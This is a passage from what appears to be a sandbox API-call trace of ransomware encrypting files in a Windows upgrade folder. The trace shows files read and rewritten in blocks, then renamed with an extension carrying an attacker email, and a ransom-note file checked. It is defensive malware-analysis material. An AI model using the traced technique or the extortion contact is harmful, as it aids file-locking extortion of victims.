(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.924] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x250bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x250bfcb4*=0x4096, lpOverlapped=0x0) returned 1 [0080.924] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.924] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x142ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.924] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x250bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x250bfcb4*=0x4096, lpOverlapped=0x0) returned 1 [0080.926] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x142ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e090 [0080.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e090) returned 1 [0080.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e090 [0080.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0b8 [0080.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0b8) returned 1 [0080.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.927] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x250bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x250bfcb4*=0x4096, lpOverlapped=0x0) returned 1 [0080.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.927] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x1fe2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.927] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x250bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x250bfcb4*=0x4096, lpOverlapped=0x0) returned 1 [0080.928] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x1fe2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0b8 [0080.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0b8) returned 1 [0080.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0b8 [0080.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc30 [0080.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc30) returned 1 [0080.929] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.929] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x250bfcb4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x250bfcb4*=0x4096, lpOverlapped=0x0) returned 1 [0080.929] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x342df50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x250bfd10, lpOverlapped=0x0 | out: lpBuffer=0x342df50*, lpNumberOfBytesWritten=0x250bfd10*=0x20, lpOverlapped=0x0) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x342e090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x250bfd10, lpOverlapped=0x0 | out: lpBuffer=0x342e090*, lpNumberOfBytesWritten=0x250bfd10*=0x20, lpOverlapped=0x0) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x342e0b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x250bfd10, lpOverlapped=0x0 | out: lpBuffer=0x342e0b8*, lpNumberOfBytesWritten=0x250bfd10*=0x20, lpOverlapped=0x0) returned 1 [0080.929] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x342e068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x250bfd18, lpOverlapped=0x0 | out: lpBuffer=0x342e068*, lpNumberOfBytesWritten=0x250bfd18*=0x8, lpOverlapped=0x0) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x250bfd30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x250bfd18, lpOverlapped=0x0 | out: lpBuffer=0x250bfd30*, lpNumberOfBytesWritten=0x250bfd18*=0x4, lpOverlapped=0x0) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x250bfd18, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x250bfd18*=0x4, lpOverlapped=0x0) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x250bfd18, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x250bfd18*=0x6c, lpOverlapped=0x0) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x250bfd18, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x250bfd18*=0x20, lpOverlapped=0x0) returned 1 [0080.929] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x250bfd18, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x250bfd18*=0x4, lpOverlapped=0x0) returned 1 [0080.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0080.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342de88) returned 1 [0080.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.930] CloseHandle (hObject=0x52c) returned 1 [0080.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.930] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" [0080.930] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731" [0080.930] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.930] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.931] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm", dwFileAttributes=0x20) returned 0 [0080.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.931] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.931] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.931] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0080.931] RtlExitUserThread (Status=0x1) Thread: id = 1032 os_tid = 0x1724 [0080.926] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm")) returned 0x20 [0080.927] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm", dwFileAttributes=0x20) returned 1 [0080.932] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0080.932] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2513f8a8 | out: lpFileSize=0x2513f8a8*=147140) returned 1 [0080.932] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x23ec0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.932] ReadFile (in: hFile=0x52c, lpBuffer=0x2513f87c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2513f878, lpOverlapped=0x0 | out: lpBuffer=0x2513f87c*, lpNumberOfBytesRead=0x2513f878*=0x4, lpOverlapped=0x0) returned 1 [0080.934] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e068 [0080.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0080.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342de88 [0080.934] NtQuerySystemTime (in: CurrentTime=0x2513f854 | out: CurrentTime=0x2513f854*=132121176388341175) returned 0x0 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xe22df39e [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xec744e0d [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x7b74397f [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x7379c375 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x90ec0803 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x8b1e36b [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xd2a06a30 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x7805e623 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x2ab564b5 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x8214965e [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x80e79733 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xd5c27aec [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x42cc3cb7 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x193717c9 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x69df3df3 [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x818f3caf [0080.934] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x4dc4b186 [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xcce09463 [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xa2c85a9f [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x98926298 [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xc6fd989d [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x1fb3737 [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xb9c9798d [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x8074cbc9 [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xb59b4c87 [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x6de04e6d [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x4e24e5ae [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x97894f89 [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xb4b1d82f [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xa5488356 [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0xe01e32f1 [0080.935] RtlRandom (in: Seed=0x2513f860 | out: Seed=0x2513f860) returned 0x3fac1658 [0080.945] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0080.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.946] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.946] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2513f814, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2513f814*=0x4096, lpOverlapped=0x0) returned 1 [0080.946] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e068 [0080.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e068) returned 1 [0080.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e068 [0080.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc30 [0080.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc30) returned 1 [0080.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.947] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2513f814, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2513f814*=0x4096, lpOverlapped=0x0) returned 1 [0080.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.948] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x142ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.948] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2513f814, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2513f814*=0x4096, lpOverlapped=0x0) returned 1 [0080.948] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x142ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0080.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0080.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc30 [0080.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc30) returned 1 [0080.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc30 [0080.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e270 [0080.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e270) returned 1 [0080.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0080.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0080.949] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2513f814, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2513f814*=0x4096, lpOverlapped=0x0) returned 1 [0080.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.950] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x1fe2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.950] ReadFile (in: hFile=0x52c, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2513f814, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2513f814*=0x4096, lpOverlapped=0x0) returned 1 [0080.951] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x1fe2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0080.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e220 [0080.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e220) returned 1 [0080.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e220 [0080.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e130 [0080.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e130) returned 1 [0080.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.951] WriteFile (in: hFile=0x52c, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2513f814, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2513f814*=0x4096, lpOverlapped=0x0) returned 1 [0080.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.952] WriteFile (in: hFile=0x52c, lpBuffer=0x342e068*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2513f870, lpOverlapped=0x0 | out: lpBuffer=0x342e068*, lpNumberOfBytesWritten=0x2513f870*=0x20, lpOverlapped=0x0) returned 1 [0080.952] WriteFile (in: hFile=0x52c, lpBuffer=0x342dc30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2513f870, lpOverlapped=0x0 | out: lpBuffer=0x342dc30*, lpNumberOfBytesWritten=0x2513f870*=0x20, lpOverlapped=0x0) returned 1 [0080.952] WriteFile (in: hFile=0x52c, lpBuffer=0x342e220*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2513f870, lpOverlapped=0x0 | out: lpBuffer=0x342e220*, lpNumberOfBytesWritten=0x2513f870*=0x20, lpOverlapped=0x0) returned 1 [0080.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.952] WriteFile (in: hFile=0x52c, lpBuffer=0x342dc08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2513f878, lpOverlapped=0x0 | out: lpBuffer=0x342dc08*, lpNumberOfBytesWritten=0x2513f878*=0x8, lpOverlapped=0x0) returned 1 [0080.952] WriteFile (in: hFile=0x52c, lpBuffer=0x2513f890*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2513f878, lpOverlapped=0x0 | out: lpBuffer=0x2513f890*, lpNumberOfBytesWritten=0x2513f878*=0x4, lpOverlapped=0x0) returned 1 [0080.952] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2513f878, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2513f878*=0x4, lpOverlapped=0x0) returned 1 [0080.952] WriteFile (in: hFile=0x52c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2513f878, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2513f878*=0x6c, lpOverlapped=0x0) returned 1 [0080.952] WriteFile (in: hFile=0x52c, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2513f878, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x2513f878*=0x20, lpOverlapped=0x0) returned 1 [0080.952] WriteFile (in: hFile=0x52c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2513f878, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2513f878*=0x4, lpOverlapped=0x0) returned 1 [0080.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0080.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0080.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dc08) returned 1 [0080.953] CloseHandle (hObject=0x52c) returned 1 [0080.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.953] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" [0080.953] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731" [0080.953] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.953] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.954] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm", dwFileAttributes=0x20) returned 0 [0080.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.954] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.954] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.954] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fb20) returned 1 [0080.954] RtlExitUserThread (Status=0x1) Thread: id = 1033 os_tid = 0x1728 [0080.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x34801b0 [0080.955] wcscpy (in: _Dest=0x34801b0, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") 